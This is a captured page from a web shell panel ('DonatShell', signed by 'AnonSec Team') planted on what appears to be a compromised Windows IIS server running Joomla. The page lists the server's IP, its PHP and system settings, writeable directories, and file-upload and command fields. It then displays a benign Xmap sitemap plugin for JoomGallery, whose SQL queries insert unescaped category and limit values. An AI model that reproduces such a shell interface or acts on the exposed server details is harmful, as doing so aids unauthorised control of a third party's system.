DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.252
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/AppServ/www/app/webroot/news/administrator/components/com_xmap/extensions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/AppServ/www/app/webroot/news/administrator/components/com_xmap/extensions/com_joomgallery.php
<?php
/**
* @author Guillermo Vargas, http://joomla.vargas.co.cr
* @email guille@vargas.co.cr
* @version $Id: com_joomgallery.php 120 2010-06-26 11:51:39Z guilleva $
* @package Xmap
* @license GNU/GPL
* @description Xmap plugin for JoomGallery Component.
*/

class xmap_com_joomgallery {

    /*
    * This function is called before a menu item is printed. We use it to set the
    * proper uniqueid for the item
    */
    function prepareMenuItem(&$node,&$params)
    {
	    $link_query = parse_url( $node->link );
	    parse_str( html_entity_decode($link_query['query']), $link_vars);
	    $id = intval(JArrayHelper::getValue($link_vars,'id',0));
	    $func = JArrayHelper::getValue( $link_vars, 'func', '', '' );
	    if ( $func =='detail' && !$id ) {
		    $node->uid = 'com_joomgalleryp'.$id;
		    $node->expandible = true;
	    } elseif ($func =='viewcategory' && $id) {
		    $node->uid = 'com_joomgalleryg'.$id;
		    $node->expandible = false;
	    }
    }

    function getTree ( &$xmap, &$parent, &$params )
    {
	    $catid=0;
	    $link_query = parse_url( $parent->link );
	    parse_str( html_entity_decode($link_query['query']), $link_vars);
	    $func = JArrayHelper::getValue( $link_vars, 'func', '', '' );
	    $catid = JArrayHelper::getValue($link_vars,'catid',0);

	    if ($func && $func != 'viewcategory') {
		    return;
	    }

	    $include_pics = JArrayHelper::getValue( $params, 'include_pictures',1 );
	    $include_pics = ( $include_pics == 1
	                          || ( $include_pics == 2 && $xmap->view == 'xml')
	                          || ( $include_pics == 3 && $xmap->view == 'html'));
	    $params['include_pictures'] = $include_pics;

	    $priority = JArrayHelper::getValue($params,'cat_priority',$parent->priority);
	    $changefreq = JArrayHelper::getValue($params,'cat_changefreq',$parent->changefreq);
	    if ($priority  == '-1')
		    $priority = $parent->priority;
	    if ($changefreq  == '-1')
		    $changefreq = $parent->changefreq;

	    $params['cat_priority'] = $priority;
	    $params['cat_changefreq'] = $changefreq;

	    $priority = JArrayHelper::getValue($params,'pictures_priority',$parent->priority);
	    $changefreq = JArrayHelper::getValue($params,'pictures_changefreq',$parent->changefreq);
	    if ($priority  == '-1')
		    $priority = $parent->priority;

	    if ($changefreq  == '-1')
		    $changefreq = $parent->changefreq;

	    $params['pictures_priority'] = $priority;
	    $params['pictures_changefreq'] = $changefreq;

	    if ( $include_pics ) {

		    $params['limit'] = '';
		    $limit = JArrayHelper::getValue($params,'max_pictures','');
		    if ( intval($limit) )
			    $params['limit'] = ' LIMIT '.$limit;

	    }

	    xmap_com_joomgallery::getGallery($xmap, $parent, $params, $catid);
    }


    function getGallery ( &$xmap, &$parent, &$params, $catid )
    {
        $db =& JFactory::getDBO();
        $list = array();
        $db->setQuery("select cid, name, parent from #__joomgallery_catg where parent=$catid and published = '1' and access <=".$xmap->gid." order by ordering");
        $cats = $db->loadObjectList();
        $xmap->changeLevel(1);

        foreach($cats as $cat) {
	        $node = new stdclass;
	        $node->id   = $parent->id;
	        $node->uid  = $parent->uid.'g'.$cat->cid;   // Uniq ID for the category
	        $node->pid  = $cat->parent;
	        $node->name = $cat->name? $cat->name : $cat->name;
	        $node->priority   = $params['cat_priority'];
	        $node->changefreq = $params['cat_changefreq'];
	        $node->link = 'index.php?option=com_joomgallery&amp;func=viewcategory&amp;catid='.$cat->cid;
	        $node->expandible = true;

	        if ($xmap->printNode($node) !== FALSE ) {
		        xmap_com_joomgallery::getGallery($xmap, $parent, $params, $cat->cid);
	        }
        }

        if ( $params['include_pictures'] ) {
	        $db->setQuery ("select id, imgtitle, catid from #__joomgallery where catid IN ($catid) and published = '1' order by ordering " . $params['limit']);
	        $cats = $db->loadObjectList();
	        foreach($cats as $file) {
		        $node = new stdclass;
		        $node->id   = $parent->id;  // Itemid
		        $node->uid  = $parent->uid .'p'.$file->id; // Uniq ID for the picture
		        $node->name = ($file->imgtitle? $file->imgtitle : $file->imgtitle);
		        $node->priority   = $params['pictures_priority'];
		        $node->changefreq = $params['pictures_changefreq'];
		        $node->link = 'index.php?option=com_joomgallery&amp;func=detail&amp;id='.$file->id;
		        $node->expandible = false;
		        $xmap->printNode($node);
	        }
        }
        $xmap->changeLevel(-1);
    }

}

Anon7 - 2022
AnonSec Team